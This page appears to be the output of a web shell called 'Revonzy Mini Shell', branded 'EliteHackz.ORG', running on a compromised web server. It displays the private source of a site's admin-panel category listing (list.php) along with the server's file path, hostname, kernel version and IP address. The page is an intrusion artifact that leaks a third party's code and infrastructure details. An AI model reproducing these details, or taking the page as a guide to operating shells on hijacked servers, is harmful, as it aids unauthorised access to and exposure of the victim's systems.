Revonzy Mini Shell

Şuanki Dizin: /home/shrishtiarchitec/www/adminpanel/gallery/category/
Dosya Yükle :
Şuanki Dosya : /home/shrishtiarchitec/www/adminpanel/gallery/category/list.php

<?php
include('../../../config.php');
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_ADMIN_INCLUDE.'/header.php');
$db = new DBConn();
/*//Get Here Category List Old code
$getCategory=$db->ExecuteQuery("SELECT Category_Id, Category_Name , Position, Lang_Name FROM category CG INNER JOIN langauge LG ON LG.Id=CG.Langauge ORDER BY Category_Name ASC");*/
$getCategory=$db->ExecuteQuery("SELECT Category_Id, Category_Name, Category_Image,Long_Image, Position FROM category ORDER BY Category_Id ASC")
?>
<script type="text/javascript" src="category.js"></script>
<div class="">
  <div class="page-title">
    <div class="title_left">
      <h3> Category </h3>
    </div>
  </div>
  <div class="clearfix"></div>
  <div class="col-md-12 col-sm-12 col-xs-12">
    <div class="x_panel">
      <div class="x_title">
        <h2>View List </h2>
        <ul class="nav navbar-right panel_toolbox">
          <li><button class="btn btn-round btn-success" onclick="location.href='index.php';">Add New Category</button>
          </li>
          
        </ul>
        <div class="clearfix"></div>
      </div>
      <div class="x_content">
        
        <table id="datatable-responsive" class="table table-striped table-bordered dt-responsive nowrap" cellspacing="0" width="100%">
          <thead>
            <tr>
              <th>No.</th>
              <th>Category Name</th>
              <th>Category Image</th>
              <th>Long Image</th>
              <th>Position</th>
              
              <th>Action</th>
            </tr>
          </thead>
          <tbody>
            <?php $i=1; foreach($getCategory as $val){ ?>
            <tr>
              <td><?php echo $i;?></td>
              <td><?php echo $val['Category_Name'];?></td>
              <td><img width="50" src="<?php echo PATH_UPLOAD_IMAGE."/category/thumb/".$val['Category_Image'];?>"></td>
              <td><img width="50" src="<?php echo PATH_UPLOAD_IMAGE."/category/long/thumb/".$val['Long_Image'];?>"></td>
              <td><?php echo $val['Position'];?></td>
              <td><a href="edit.php?id=<?php echo $val['Category_Id'];?>">Edit</a> | <a class="delete" href="#" id="<?php echo $val['Category_Id'];?>"> Delete</a></td>
            </tr>
            <?php $i++;} ?>
            
          </tbody>
        </table>
        <div id="deletemsg" title="Message" style="display:none; text-align:left;">
          <p>You can not delete this category , <br/> becouse this category is used in sub-category</p>
        </div>
      </div>
    </div>
  </div>
</div>
<?php
require_once(PATH_ADMIN_INCLUDE.'/footer.php');
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42